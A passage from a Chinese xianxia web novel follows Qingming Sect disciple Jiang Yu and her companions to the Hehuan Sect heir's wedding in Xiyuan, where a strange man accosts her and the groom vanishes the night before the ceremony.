姜瑜掀了掀眼皮,面无表情的看着他,微抬起头来示意他继续说。
“这次来是受我先前一位朋友所托,来给你们青冥宗传请帖的。”方知有解释一通,只听姜瑜疑惑问道,“请帖?”
方知有淡然应了一声,指尖顺着桌面把玩着桌上的空了的瓷杯,这才又说道:“西原玄铁门的附属宗门,合欢宗的少主将在几日后娶妻,特邀四大宗门前去赴宴。”
说罢,他不知从何时,手中已然变幻出一副红色的请帖甩至桌面上。
姜瑜抬眼望去,她伸出手将请帖拿至眼前仔细端详一番后,才出声问道:“合欢宗?”
“既是玄铁门的附属宗门,为何单单一个少主娶妻,就要搞这么大阵仗?”
方知有撇撇嘴才回道:“你不知道吧,合欢宗钱宗主对他这个儿子溺爱的很。”
“传言,钱宗主年少时沾花惹草,在万千少女之中一眼想看上了这位夫人,他们二人恩爱不疑,后诞下一子,更是溺爱有加。”
“合欢宗虽比不过当今的四大宗门,但钱老宗主的面子任谁来了都得给。”
“钱老宗主?”姜瑜将请帖轻放置桌面上,她微微歪了歪头,面露存疑的看向方知有。
方知有则满脸:你连这都不知道?你怎么连这都不知道?你真的是青冥宗的大师姐吗?
姜瑜脸不红心不跳,轻咳了两声才补充道:“爱说不说。”
方知有将手中茶杯推到她身边,姜瑜狐疑的看向他,只见他又往前推了推,最终姜瑜认命的为他倒了半杯茶水,这才听他补充道:
“钱老宗主曾是先帝的左右护法,这得追溯到上上辈了。”
“你说有这么一个有面子的老祖宗,能不给面子吗?”
“既然钱老宗主是...先帝的左右护法,那为何现任四大宗门没有合欢宗的一席之地?”姜瑜问道。
方知有微微摇了摇头,端起茶杯一饮而尽,他才回应道:“要怪就怪当时的他作妖,非得成立这么一个邪门宗派。”
“宗内的弟子以双休为修炼途径,里面的男女弟子关系可有说法了。”
方知有话及此,没忍住啧啧两声。
姜瑜这才反应过来,合欢宗,宗如其名,宗内弟子以双修为基练根本。
“还是关系够铁,如此这般的歪门邪宗,竟也能在西原玄铁门下混得一席之地。”姜瑜感叹着,转念一想,抬头望向身前的少年,
“那你来找我做什么?”
“这请帖你不去拿给长老们,反观大雨天的你还精准不误的找到了我的房门?”
方知有听后眼神飘忽不定,他迟疑片刻,在对上姜瑜那双黑亮的双眸时,才泄气道:“我说了你别伤心啊。”
“原本是想去找你师父他们的,但在来青冥宗的半山路上,无意间听到了关于你...”
方知有说到这,停顿片刻,续而说道:“关于你这个宗门大师姐的一些...”
“不好听的言论吧?”姜瑜见他磕磕绊绊的说不完一整句话,这才打断了他,径自的接了过去。
话说到此时,方知有连忙摆手解释道:“也没有很难听,就是有点难以...启齿?”
“这有啥的?”姜瑜说着便自然而然的从桌上的果盘中揪出一粒晶莹剔透的绿色提子,那提子在她手掌中滚了滚,只听她再度开口说道,“我都习惯了。”
姜瑜说的轻松,一时间方知有竟也辨不出她是真的不在意还是假的不在意,只得安慰道:“没想到身为青冥宗的大师姐,竟混的也不怎么样。”
姜瑜轻笑一声,将那颗提子送入嘴中,这才打趣道:“没想到你竟然也有闲的来安慰我的一面。”
方知有瞥她一眼,没好气道:“我早就拿你当朋友了。”
“谁跟你一样,整天见面就提个剑架人脖子上?”
姜瑜听后又轻笑了一声,眼中的笑意不减,她将嘴中的提子嚼了下去,这才扬着笑意出声道:“下次不会了。”
*
方知有秉持着也不想见到太多长老的面孔,他索性将那请帖放到了姜瑜那里,让她代他去找长老们传达。
当他装模做样的戴好斗笠时,门外的狂风骤雨早已不如从前,此时不过毛毛细雨,连个水滴珠子都凑不出来。
姜瑜靠在门框上,她微微抬了抬眼看向身前忙于戴笠帽的方知有,才嘴贫道:“都不下了你还穿这做什么?”
方知有将笠帽扶正后,才看向身前的姜瑜,一字一顿解释道:“增加神秘感...跟你说了你也不懂。”
姜瑜只是笑笑,却下意识反驳出口:“你有灵气护体,雨水也沾不到你分毫,想要保持神秘,随便扯块布子挡脸上不比这个轻松?”
方知有没好气的在笠帽下白了她一眼:“我想装的像个正常普通人不行吗?”
“行行行。”姜瑜连忙点头,随后抬手挡于脸前,微微打了个哈欠,“下次别总是大半夜的来找我,人不睡觉的吗?”
方知有抬脚刚要离去,走了两步却又折返回来,他抬手指像姜瑜手中拿着的请帖,提醒道:“你别忘了啊。”
“不会忘的。”姜瑜抬手将红色纸面的请帖在两人眼前晃了晃,“明日一早我就拿给师父,你放宽了心。”
话音刚落,方知有朝姜瑜笑了笑,随后转过身去,他背着姜瑜,语气难言心情大好:“那我们西原见。”
姜瑜淡淡应了一声,再反应过来他说了什么事,才猛地抬眼往身前看去,再抬头时,雨中早已没了少年的身影。
夜色朦胧,她看了看手中的请帖,脸上也扬起了一抹笑意。
从最开始,方知有就没提过他也要去参加这个合欢宗少主的大婚,姜瑜这样一想,她好像也没说要去西原。
*
雨后的清晨混杂着一股潮湿的泥土气息。
姜瑜站在青冥宗议事堂中间,她趁着晨早掌门与一众长老议事的时间,将昨晚的那纸请帖递给了一旁坐
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着的苍梧师父。
待她与在场的诸位掌门、长老们道清原由后,这才退至一旁。
苍梧听后抬手捋着他下巴处的小白胡子,朝身旁的长老说道:“既是玄铁门的附属宗派,我们自当是要留些面子的。”
“只是...”苍梧话说一半,他左右看看,最终将目光落到身旁的墨渊长老,问道,“既是少主大婚,也犯不上让我们这些老骨头去祝贺。”
墨渊长老顺势接话道:“既如此,我看他们这些小辈们也该出门历练历练了,不如...”
话及此,墨渊朝苍梧努努眼,他瞥向站与他身侧的姜瑜,才适时地补充道:“让姜瑜去吧。”
话落时,站在苍梧身旁的姜瑜垂了垂眼看向长老,弯唇一笑,礼貌回道:“全听长老们的安排。”
话音刚落,一道熟悉的声音便从厅堂屋门口传来:“我也可以去。”
众人循声望去,只见裴恒之手中提着剑,身着一身湖蓝色衣襟。
此时他正往堂内走过来,直到堂中时,才虚抱双拳,躬身行礼道:“弟子愿与姜师妹一同前去西原顺道替代师父拜访一番钱宗主。”
话到此时,一直端坐与堂前的徐峰掌门微不可查的皱起了眉头,他应声问道:“你去做什么?”
“为师此番还有其他事情交于你,你就别凑这个热闹了。”话落时,只见裴恒之再度抬手行礼解释道:“师父,原在紫星阁时我与苍梧长老他们遇到了噬灵阵。”
话落,他顿了顿,旋即开口解释道:“此等禁术,在十几年前裴家灭门时也曾显现过。”
“先前罗掌门告于我说令妹曾去过一趟西原,所以徒儿刚好有意去一趟西原查清当年满门被灭一大疑点,还望师父成全。”
徐峰将手搭在椅把手上,头顺势偏到一旁,手指间不段揉着眉心,片刻后才挥了挥手,说道:“罢了,你去吧。”
话落时,他虚抬了抬手,在空中转了一圈,最终指向姜瑜,才补充道:“姜瑜跟你一同。”
“其余诸位长老们自行商讨吧,本尊有点乏了。”话落,他便双手撑于椅把手上,站起身来随后转身离去,只留堂内的其余几位长老呆在原处。
“掌门最近怎么了?”一位女长老抬头朝苍梧这边问道,“总觉得他身子大不如往前。”
裴恒之听后眼下微顿,随后他便转过身来,先是看了一眼姜瑜,随后视线下移,看向她身旁端坐着的苍梧,这才开口说道:“弟子还有些要事还未处理,剩下的劳烦交由苍梧长老了。”
苍梧点点头,挥手让他退下。
裴恒之前脚走后,苍梧这才看向身旁的姜瑜,轻咳了一声,待一众安静下来后,才说道:
“把事情交给姜瑜他们几个晚辈,老身放心,若无异议,那就还由她与她的师弟妹们一同。”
话落后,厅内一片安静。
苍梧是除去掌门外,在一众长老中最是说得上话的,更何况此次不过是替青冥宗当个门面去赴约,大家便也没什么异议。
“事情就这么定了。”
50. 钟声
*
合欢宗少主大婚,西原地处距东原青冥宗最远的一处,姜瑜他们一路向西,途径京都歇脚,后不日便到了地处西原最为东侧的兰沧郡。
就连平日里素来不爱凑热闹的应不妄,这次被苍梧点名一同前去时,竟异常乖张听话,没表现出任何不满。
西原兰沧郡的街道上周遭满是红色灯笼和挂彩,街上人们喜气盈门,跟在姜瑜身后的沈晚宁扫了一圈,才感叹道:
“单单一个少主大婚,这合欢宗宗主就花这么大手笔搞得如此阵仗。”
“宠的狠呢。”
姜瑜也顺着沈晚宁的视线望去,街上行人往往,每个脸上都洋着笑意,道边还有舞狮杂技穿着一身红气来祝贺。
“资本呐。”她没忍住开口吐槽道。
“什么?”周遭乐器的声音掩过了姜瑜说话的声音,沈晚宁看的不亦乐乎,还不忘朝身旁的姜瑜问着。
姜瑜微摇了摇头,刚要抬脚拉着沈晚宁跟上前面的裴恒之他们时,突然从嘈杂的声音中捕捉到身旁不远处的一家包子摊铺下的异常对话。
“这位兄台,敢问这兰沧郡最近是有什么大喜之事吗,为何会如此热闹。”男子开口时声音带着与生俱来的沙哑。
姜瑜抬眼撇过去,只见那位被叫做“兄台”的胖男子先是摆了摆手,随后才说道:“我看你是外地人吧。”
“这合欢宗的钱少主大婚,你这也是好巧不巧的赶上了,可以去宗门内求一道好运,说不准哪位女弟子看上了你,以后在兰沧郡还能有你的一席之地。”
胖男子说的前言不搭后语,姜瑜听的一头雾水,她皱了皱眉,还没来的及再听下去,身旁的沈晚宁率先拉住她的手腕,快步跟了上前。
那道声音消失于喧嚣之中,她们凑近后,才听到裴恒之声音里略显担忧,他道:“初来乍到我们人生地不熟,沈师妹你们跟紧,莫要走散。”
应不妄则在一旁双手环与胸前,微微侧了侧头时恰好瞥见了走在最后心不在焉的姜瑜,他故意放慢了脚步与姜瑜齐肩,这才出声问道:
“师姐想什么呢,心不在焉的。”
姜瑜被他出声点醒,这才扭过头去看向应不妄,她面上不显情绪,随后缓缓摇了摇头,才说道:“没什么,先去合欢宗一趟,等诸事安顿下来我们再做打算。”
说罢,她随后便没再说什么,几步上前与应不妄拉开了几许距离。
此前姜瑜一直没有认真想过,她是看过《诛魔》这本书没错,但是现在她细细想过,竟记不得原书中一点细节了。
她甚至都不知道会有合欢宗这一档子事。
而她的废物系统也只会时不时的半道蹦哒出来提个醒,让她走走剧情。
这些模糊不清的记忆,让姜瑜觉得很怪。
不知不觉已经行至合欢宗宗门前了,她脚下微顿,再缓过神来时,她虚叹了口气。
这一段时间确实没有她什么戏份的,想来是真的只是普通的少主大婚,系统给她放的小短假,让她来蹭蹭喜运而已。
再抬眼时,朱红色大门最先映入眼帘,姜瑜抬头扫了一圈,周遭挂满了红色灯笼,她这才发觉——
合欢宗不同其他宗门建与高山远峰之中,它则是建在兰沧郡内最为繁华的一道街市之中,占地巨大,过分招摇。
“裴兄!”身后传来一声熟悉的叫声,姜瑜还未来得及转身循声望去,身后突然卷过来一阵微风,将她的衣襟发丝吹起来。
再抬眼时,出声的人就已然将胳膊攀上了裴恒之的肩膀。
常远将胳膊随意的搭在裴恒之的肩侧,还不忘回头朝姜瑜点了点头,顺道也喊话道:“姜瑜,好巧你们都在啊?”
“常远?”姜瑜顺道喊去,她还没来得及细问,只觉身前突然被一抹身型挡于其中。
应不妄站在他们两人视线之中,他面朝着常远,出声问道:“不好好在你们紫星阁打理事务,这什么风把你吹来了?”
紫星阁前一阵子出了那么大的事,阁内知情人士却少之又少,常远便是其中为数不多能够替罗淮阳分担烂摊子的人。
话落,常远这才收回勾搭着的胳膊,不好意思的挠了挠头,他道:
“主要是掌门她太有能力了,什么事都用不着我插手,刚好请帖送来紫星阁时,她瞧着我心烦,就让我替阁中前来道贺。”
“就你一个人来的啊?”此时缩在裴恒之身侧的沈晚宁突然探出头来好奇问道。
这一声让常远吓了往后退了一步,他拍着胸口处这才平复下来,才开口解释道:“按理来说是总内为长的弟子来。”
“可是赵师姐前一阵子不是...”
“她不是离开宗门了嘛,所以这事就尽数落在我头上了。”
*
几人前脚迈入合欢宗内时,几位穿着得体的内门弟子便后脚有序的凑了上来,引他们去安顿住处,期间再无其他废话。
他们跟着身前的弟子拐拐绕绕,最终走到一处院落,院内的建筑不像是宗内惯有的传统建筑风格,反而更像是堂皇华丽的宫殿。
就连院内的木柱上都刻着华而不实的雕花,姜瑜跟着安排才踏入了自己的屋内,屋门大开的一瞬间,四周的烛火应势而亮,屋内瞬间灯火通明,周遭的景象因而映入眼帘——
上到饭桌木凳,下到屏风木床,全都精致华丽的无法用言语来形容。
若是真的要挑出来一点毛病的话,那就是房间太大了,显得过于空旷安静了点。
姜瑜还未来得及在屋内逛上两圈,只听屋门外一阵敲门声,她走进打开们后,便是沈晚宁和应不妄两人站在门前。
还未来得及开口询问,沈晚宁率先笑着开口说道:“来都来了,师姐不出去转转,沾点喜庆吗?”
话落,姜瑜只觉手腕间被人陡然收紧,下一瞬就被沈晚宁拉出了屋门,途中她还不忘絮絮叨叨的解释着:“裴师兄去代掌门师父他们补贺礼去。”
“常远也跟着去了。”
“等明日他这个钱少宗主大婚完,我们就要去顺道拜访玄铁门。”
“噬灵阵身为九州禁书,若当年真的在西原显现过的话,这玄铁门身为四大宗门自然会有所察觉。”
姜瑜跟在沈晚宁身后听她说着,身旁的
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应不妄则一言不发的与她并着肩,往院外走着。
沈晚宁拉着姜瑜一路弯弯绕绕,环了两路,竟又走回了原处,她松开握着姜瑜手腕的手,双手叉与腰前,自顾自的嘟囔道:“不该啊,我记得是这么走的来着。”
姜瑜与应不妄对视一眼后,旋即往前走了两步,看向周遭——
许是合欢宗的钱宗主喜好花草树木,周围种着不少绿色植物,每条小路都仅能有一人行过的宽度,光他们所站之处,就有三条分叉口。
此时周遭寂静无人,也找不出宗内的内门弟子来引路,周遭除了挂着的灯彩外,所看之处映入眼帘的就是无尽头的花草绿植。
姜瑜扫了一圈后,从容的从自己腰间的锦囊中化出三道符纸,她将其中两张递给沈晚宁和应不妄他们,说道:
“这么耗着也不是办法,不若各自一条路,谁先找到出去的道路就发讯息给其他两人。”
话落,姜瑜朝他们二人点了点头,沈晚宁则率先迈出步子,走去最左侧的一条路。
而站在身旁始终没说什么话的应不妄见她走远后,才这才上前一步凑近他与姜瑜两人的距离后,才开口说道:“万事小心。”
姜瑜挑了挑眉,面上挂着笑意,她打趣道:“只是绕路了而已,这你担心什么?”
应不妄难得的没再回话,只是点了点头,随意挑了一条小路走了过去。
姜瑜紧随其后,去了最靠右的一条小路。
行了一段距离,她这才觉得不太对劲,此时不过正午,周遭的树木阴影却茂密的将刺眼的光线尽数遮去,越往前走,越是昏暗。
姜瑜从手中幻出一道符纸,随着咒术应下,周围渐渐照出一层暖光,犹豫片刻往前探去。
前脚刚迈出一步,她手中的符纸便顺势晃动起来,沈晚宁的声音从中传来:“师姐、应师兄,顺着我那边一路向北就出来了,我在外面等你们。”
语音落下,她听后旋即撤回脚步刚要转身原路返回时,听力敏锐的她突然听到一阵敲钟的嗡嗡声音。
这声音漫至大脑,竟让她鬼使神差的朝前方的黑幽之处看去,脚下不听使唤的想往前一探究竟。
那张传讯符纸随着这阵敲钟之声从空中悄然散去,小路的尽头是另一则大院,当姜瑜迈出去时,正午的烈阳刺眼,迫使她眯了眯眼。
入目则是一尊大钟立于院中央,钟身微晃还时不时的又一阵阵扰人心智的传入姜瑜耳中,她抬手扶了扶太阳穴,这才略微保持了几许清醒。
在反应过来她不经意间误闯了别人家的院落时,转身刚要走,身后却被一道沙哑的声音叫住了脚。
姜瑜回头看去,瞳孔微愣——是先前在街上远远瞧了一眼的那位外地人。
只见男子唇间咧着笑,脸型偏长,面上泛白,下巴处还长了一颗豆大的黑痣。
“姑娘这是要去哪里呀。”男子率先开口问道。
姜瑜停顿一秒,旋即解释道:“我是代青冥宗来给钱少主道贺的,此前对此地不慎熟悉,这才误闯于此。”
“我瞧着你也不像是本宗弟子,不知阁下是...?”
51. 九州十大禁术都会?
“姑娘果然慧眼识珠,一眼就能瞧出来我不是合欢宗的内门弟子。”男子唇边噙着猥琐笑意,他自顾自的接话道,
“此地乃是合欢宗内的祈福院,凡事在此院内祈过福的,必定会遇到他人生中所愿相守相知之人。”
姜瑜全程不耐烦的皱着眉头听他讲这些废话,不知道为什么,她总有一种错觉,觉得面前这个人来者不善。
思及此,她只得敷衍回道:“那祝愿阁下能遇见您的良人,我也不便在此处过多打扰了。”
姜瑜话毕,转身就要离去,在迈出半步时,一道黄色符纸以迅雷不及掩耳之势与她擦肩而过,从绿植小路飞身而来,将她身后的男人振飞舒丈远。
她还未瞧清状况,当她寻符飞来的方向看去时,应不妄那抹熟悉的身影正踱步走近。
只见应不妄擦过姜瑜的肩膀,冲着她身后倒地不起的男子直直而去,此时那男子痛呼在地,啐了一口:“哪个不长眼的敢打老子。”
应不妄走至男人身前站定,旋即不紧不慢的蹲下身子,他低垂着眼,手上还漫不经心的把玩着几道悬浮于空中的黄色符纸。
“你方才是想用哪只手动她?”他开口时语速不紧不慢,让站在原地的姜瑜听的一头雾水。
男子“呸”了一口,双手撑着地就要爬起来,嘴中还不断嘟囔道:“老子祈福了,这女人就是上天给老子送来的,你管老子!”
话音刚落,应不妄只身挡着姜瑜的视线,只听一道惨痛的尖叫声瞬间如雷贯耳,震荡整个院内,穿至钟内时,又唤起了道道回声。
应不妄再起身时,手掌之中的符纸已然不见。
他嘴角微微上扬,转身朝姜瑜的方向走来时,还特地将身后的男人尽数挡在姜瑜的视线前方,以至于姜瑜根本看不清男人究竟怎么了。
应不妄没给她回头的机会,只见他顺势牵起姜瑜的手,拉着她就要往回走。
冰凉的触感随手背传开时,姜瑜这才提了几分神,追问道:“他怎么了?”
话落时,姜瑜只觉得握着她的冰凉手掌此时力徒然收紧了几分,身旁的少年旋即回道:“他手脚不干净,我不过是断了他几根手指。”
听到这儿,姜瑜身型一顿,她眨了眨眼睛,随后叉开了话题,才问道:“师弟会禁术?”
拉着姜瑜的手顿住,应不妄扭头看向她,才垂了垂眼睛,淡然回道:“师姐不是早就知道了吗?”
姜瑜眨眨眼,旋即微微点了点头,才出声问道:“师弟不仅会禁术,也会解禁术。”
应不妄:“……”
他再度抬起眼帘,看向身旁的少女,沉默片刻出声提醒:“你的师弟不是万能的。”
“我会用禁术不错。”
“可若是禁术能解,那就不叫禁术了。”
姜瑜任由应不妄拉着往回走,她思考过后,才适实的发出疑问道:“可在紫星阁那会你确实...”
“那是裴恒之他先用剑术减缓了法阵成型的时间,这才让我有了可乘之机。”应不妄打断回答,“要不然我们都得死在那儿。”
姜瑜再度点点头,随后她难得正经的说道:“师弟是从哪儿学的这些?”
“九州大陆的十大禁术,师弟都会吗?”
“还是说...”
姜瑜发出了一连串的问题,最后话说一半,她一个不留神,一头栽进了前方突然顿住身型的应不妄背上。
再抬头时,姜瑜捂着脑袋,手上的凉意从手背上抽离开,她眨了眨眼睛,睁眼时只见他早已转过身来,微微弯着腰与她来了个四目相对。
少年嘴边依旧噙着笑意,与他对视几秒,只瞧得他的长睫微颤,随后听他一字一顿的问道:“师姐这是在怀疑我?”
姜瑜愣了一瞬,只见身前的少年突然张扬的笑起来,他直起身子与她解释道:“师姐也不想想,当年裴氏一门被覆灭时我才多大。”
“更何况我与他本就并无深仇大怨,犯不着费力不讨好。”
“师姐以后想问什么,别让师弟猜,直接问出来比较好,弯弯绕绕的多没意思。”
话落时,少年只觉手上一触温热,再低下眼看去时,姜瑜已然将手搭在了他的手背上,微微侧头,便对上了她明亮的眼眸,旋即只听她开口说道:
“我问了啊。”
“我问师弟是从哪学的禁术,问师弟十大禁术都会吗,还想问...”
姜瑜顿了顿,眉眼弯弯,嘴角处微微上挑:“是不是所有的禁术,师弟都会遭到反噬?”
这会反观应不妄倒是愣在原地,他抿了抿嘴,对上姜瑜漂亮的眼眸竟半天都说不出话来。
姜瑜也不急,这会反倒成了她拉着他往外出走去,一路上两人都没有再开口问话。
在迈出小路的前一瞬,应不妄突然开口轻言说道:“以后有机会我...再讲给师姐听。”
话落,姜瑜走在前头微微扬了一抹笑意,他还没等的及姜瑜的回应,不远处的沈晚宁便小跑着赶过来:
“我还以为你们出不来了,刚要去找宗内的弟子一同去寻你们呢。”
应不妄不知道姜瑜有没有听清楚方才他小声说出口的话,他也不确定她方才的那抹笑,究竟是对着他的,还是对着沈晚宁的。
*
合欢宗少主大婚,夜里也甚是热闹——街上处处挂着灯彩,家家户户窗前都挂着红色灯笼,孩童们拿着糖画从街道中穿梭来回。
“这么热闹。”沈晚宁走在最前头,她手里拿着一副糖画小人,不禁感叹道,“都要跟上元节一样阵仗了。”
“上元节?”姜瑜顺嘴问道,“上元节也这么热闹吗?”
沈晚宁扭头朝姜瑜笑答道:“师姐不知道吗,每年上元节的花灯可比今日的种类要多,到时彩灯高挂,少年少女们邀约观灯会、猜灯谜啊……”
“且不只局限于兰沧郡这一个地方。”
姜瑜也是头一次见到这般阵仗,她侧耳听着沈晚宁的絮絮叨,眼神不自觉的被不远处的台戏班子吸引了去。
她凑近看了一通,这才捋清戏
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台上讲述的,正是如今合欢宗少主与其妻的恩爱故事。
大致内容不过是少主失足坠落山崖,被菜药少女所救,两人一见钟情,相处许久后,少主便主动请聘,势必要将少女风风光光的迎娶回家的这种俗套戏码。
姜瑜看的入迷,不知不觉之间,街道之中穿梭的人也越来越多,再回过头时,身后早已没了沈晚宁和应不妄他们二人的身影。
人群拥堵在周遭,姜瑜在其中不辨方向,只随着人流四处奔去,不知何时,街道中游出一架布满了红色绸缎的轿子,轿中人的面孔隔着红纱看不真切。
姜瑜努力眯了眯眼才堪堪看清其中坐着的是一位半扎着红色头冠,身着一身红色喜服的男子正端坐在轿中在街上巡游。
她努力往前凑去,好不容易站定一角时,身旁刚好站着一位豆蔻少女,她微微凑过身去,在喧乱之中朝少女开口问道:“劳烦问一下,这是在做什么?”
少女手中拿着糖葫芦,她闻言朝姜瑜看去,上下扫视一眼才回道:“我看姐姐是外地人吧。”
“兰沧郡有一个习俗,新郎在娶妻的前一晚都要乘这红轿在街中巡游一圈,与街中所见之人共享其福。”
姜瑜将视线重新挪到红轿上去,她还是第一次听说新郎乘轿游街这一说法的。
她随后点了点头,朝小姑娘道过谢后,便转身朝人群背处埋头挤出去。
不多久,她只觉腕间突然被人一拽,姜瑜没来得及反应,顺着那道力道被一把拉进了一条窄巷。
姜瑜再抬眼时,应不妄那张俊美的面庞顺着红色灯笼照出来的灯光,随之映入她的眼帘。
“晚宁呢?”姜瑜顿了片刻旋即反应过来,才问道。
“不知道。”应不妄手上依旧握着姜瑜的手腕,他高出姜瑜多半个头,此时低垂着眼投过一抹微弱的红光看向身前的少女,旋即补充道,“没注意。”
姜瑜听后,眉毛不自觉的皱了起来,她脚下稍一用力,手腕从应不妄掌中脱落,顺势就要往巷外走去。
才刚迈出两步,就又被应不妄一把扯了回来,只听他说道:“这么大个人了,还能走丢不成。”
“更何况少主大婚,整条街都如此阵仗,她能有什么危险。”
姜瑜扭过头来,思想斗争一番后,从腰间锦囊中幻出一道黄色符纸,在她灵力的催动下,寥寥几笔便就幻化出一传讯符。
那符纸随着她手中灵力推进,顷刻间便消散于空中。
等忙完一切的姜瑜此再看向眼前少年时,他似乎是察觉到了她的目光,方才开口道:“大婚新郎游街,这养的习俗还是头一次见。”
姜瑜挑了挑眉,旋即问道:“你也听说了?”
“这不是明摆在眼前,能看出来的吗?”应不妄眨了眨眼,对上她的眸光,嘴角边扬起了一抹笑意。
“你不跟去看看吗?”姜瑜朝巷外抬了抬头,才开口说道,“确实有够稀奇的,不过这是人家这儿的习俗。”
“入乡随俗嘛。”姜瑜笑着看向应不妄。
52. 新郎失踪
应不妄任由姜瑜拉着他往街上人多热闹的地方走去,在路过买糖葫芦的小商贩时,她还顺手给他买了两串糖葫芦。
没走几步,便又路过刚才那台戏班,姜瑜脚下不自觉的放慢了脚步,她目光落在台上的戏子身上,自顾自的说道:“方才就是看这看的入迷,才与你们走散了的。”
话落,姜瑜顺手牵上了应不妄的手腕,只见她扭过头来,脸上笑意满满:“这样就不会散了。”
“师弟可要陪我看会?”
应不妄低头看向那支被姜瑜握住的手腕,旋即微微弯了弯唇角,反手握住了她的手,往前走了两步,才应道:“好。”
戏台上的人物穿着一身亮色戏服,表演的活灵活现,这会正在上演一场少年因家破人亡,而流落街头恰好被心善的少女所救的话本情形。
应不妄看到这儿,握着姜瑜的手陡然收紧了几分,而姜瑜反应过来,察觉到不对劲,便扭头问道:“怎么了?”
他只是笑笑,摇了摇头,再抬眼望向台上时眼底闪过一丝落寞:“可能是想到了一些...不太好的回忆。”
姜瑜顺着应不妄的目光看向台上,眼帘颤了颤才猛地想起来,她这个师弟,貌似,好像,大概小时候过的并不好。
该不会触景生情了吧?
思及此,她也不顾应不妄还抬着眼往台上专注看着,一个转身带他离开了人群。
*
夜色如墨,街上灯彩依旧,只是没了方才的热闹,这会儿街上的行人不比先前那样多了。
孩童也陆续被家大人领回歇息,路上稀稀疏疏的人群中,一抹粉黛陡然映入他们的眼帘。
沈晚宁高挥着手,脸上扬着笑意,手中还拿着一副画了小人画像的糖画,此时正朝这边小跑过来,而她的身后还跟着裴恒之和常远他们两人。
待她踱步走进后,才笑盈盈的开口说道:“师姐,你的传讯符我才刚收到,转眼的空子就看到你们了。”
姜瑜顺势抬手为她理了理额间的碎发,随后才问出口:“裴师兄他们也来了?”
沈晚宁用力点了点头,随后朝后方看去时恰好与缓步走来的裴恒之来了个对视,两人相视一眼即刻躲开,她的耳尖处陡然在夜幕中泛起一抹粉意。
“裴师兄,这是他、他给我买的糖画。”
话音刚落,身后的两人也走近身来,常远先裴恒之一步跨到身前,拍了拍姜瑜的肩侧,笑着打招呼:“怎么样,这里比紫星阁好玩吧?”
姜瑜听后脸上笑意再显,她朝常远开玩笑道:“一时间我都分不清你是紫星阁弟子,还是合欢宗弟子了。”
“就是,哪有夸别人一嘴,顺带踩自己一脚的。”沈晚宁也转身瞥向身侧的常远,附和道。
话说及此,常远一只手始终背在身后,他刚要几步凑上前,把身后的糖画掏至两人眼前时,还不忘说道:“呐,你看这个像不像你。”
那糖画中的小人被小贩画的歪歪扭扭,除了眼睛像眼睛,鼻子是鼻子,嘴又像嘴的,其他跟人没有半点关系。
姜瑜看着那个沉默片刻后,才平淡说道:“挺像的,都有两个眼睛一个鼻子。”
这时身旁的沈晚宁顺势接话道:“是常远非要画一个师姐,给人家描述的什么如仙女一样的眼睛,还有什么小巧的嘴巴却又不失落落大方...”
她话说一半,肩侧被常远轻轻一肘,只听他哈哈说道:“当时裴兄在给她买糖人,我也不能在那干站着呀,索性就只想到了你。”
话落时,他低垂着眼恰好瞥到了姜瑜垂在身侧的手,只见她白皙如玉的手中紧紧握着另一只骨节分明的手。
再顺着另一只骨节分明的手看过去时,这才注意到姜瑜身后的应不妄,四目相对,而后者皮笑肉不笑的回看着他,一瞬间空气陡然寂静。
姜瑜反应过来时面上不惊的抽回自己的手,她抬起眼来看向身前的常远,将糖画从他手中抽出,这才回道:“难为你这么有心,糖画我就收下了。”
“我看天色不早,明日还有酒席,都抓紧回去休息吧。”
常远手上落了空,手中糖画被人抽离开来,但那只举着糖画的手依旧顿在半空中,裴恒之拍了拍他的肩膀:“发什么呆呢?”
只有自己一个人看到了两人牵着手的常远,他仿佛发现了什么天大的秘密,平日里惯会话唠的人,在回去的路上沉默了一道。
中间还时不时的抽空瞥应不妄一眼,而后者总能在察觉到他的目光时,笑着回看回去。
*
姜瑜与沈晚宁一路谈笑至合欢宗门口,还未踏入其门时,只见主院内站着一列列整齐的宗门弟子。
而最前头则站着一位黑胡老头,那老头体型偏胖,身着一身亮白金纹,他皱着眉正满脸严肃的朝他们说着什么。
裴恒之率先察觉到不对劲,他几步上前而去,走至胖胡子老头身前方才询问道:“不知钱宗主这是发生了何事?”
姜瑜顺着裴恒之的方向看过去,心中了然,原来这老头是合欢宗的钱宗主。
那钱宗主,钱正业皱着眉循声望去时,在看到裴恒之那张脸时,眉毛顺势舒缓了几许,随后他满脸愁容的朝他说道:
“我儿钱有才,他才巡完街不久,就在落轿时只见其轿,不见踪影了。”
听后裴恒之脸上也皱起了眉,他问道:“失踪了?”
姜瑜他们也缓步上前,她脚下缓慢迈着步子,脱口而出问道:“是不是新郎官一时耐不住性子,偷溜出去找新娘子了?”
她先前从街中倒是听到不少关于这对新人的传偶佳话——
说什么少主对姑娘一见钟情,非她不娶,素日里游手好闲的花花公子,一夜间洗心革面,往前的冥顽不灵尽数收敛……
诸如此类的传言,一路上姜瑜听得耳朵都要起茧子,虽说一谣传百言,但主体的意思总归大差不差的。
钱正业这才扭过头看向裴恒之身后的姜瑜,少女额间发丝随着微风飞扬,面上白皙透亮中还有健康的
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红润,她一身天湖色素衣,再看时唇边还扬着一抹笑意。
钱正业愣了片刻,随后面上的眉毛随即舒展开,他陪着笑看向裴恒之,这才问道:“不知这位姑娘是?”
裴恒之微微点头,抬手一一介绍道:“这位是我的师妹,名姜瑜。”
“身后那位是我的小师妹和师弟,沈晚宁,应不妄。”
钱正业顺着目光看过向沈晚宁,眼底深处又染起一抹好客之意的亮色:“原来都是远道而来的贵客。”
“钱宗主,虽为第一次见,但此时此景我觉得不必过于寒暄吧?”沈晚宁撇着眉,从姜瑜身后探出头来提醒道。
“是是是。”沈晚宁这一通话倒是点醒了钱正业,他话落连忙抬起手,朝身侧的一众弟子命令道,“你们再去少主游逛过的原路再找一趟。”
“你们几个,去新娘家中探望一番。”
话落,他还不忘嘟囔道:“这小崽子,大婚前夜还给老子找麻烦,等把他找出来,我非得打断他的腿不可!”
裴恒之在一旁适实的补充道:“钱宗主莫要因犬子这等小事动气。”
姜瑜扬了扬眉,看向身前的钱正业,随后她几步朝后退去,走了两步抬手扭了扭发酸的脖颈,随后说道:“逛了一天了,我先回屋休息,你们随意。”
说完她也不顾及宗门礼仪,扭头就走往自己屋内,沈晚宁和应不妄扫了两眼后,前者在空中与裴恒之对视一眼,随后紧随其后。
常远左右犹豫一通,因着自己代表着整个紫星阁的门面的缘故,只得留下来与裴恒之一同寒暄客气着。
穿过那道幽闭小路时,姜瑜走在最前头,沈晚宁则在后头紧跟着她。
她面露疑惑,脸上拧巴着眉,只听身前的姜瑜开口说道:“有什么问题,你再不问,师姐可就各回各屋,各睡各觉了。”
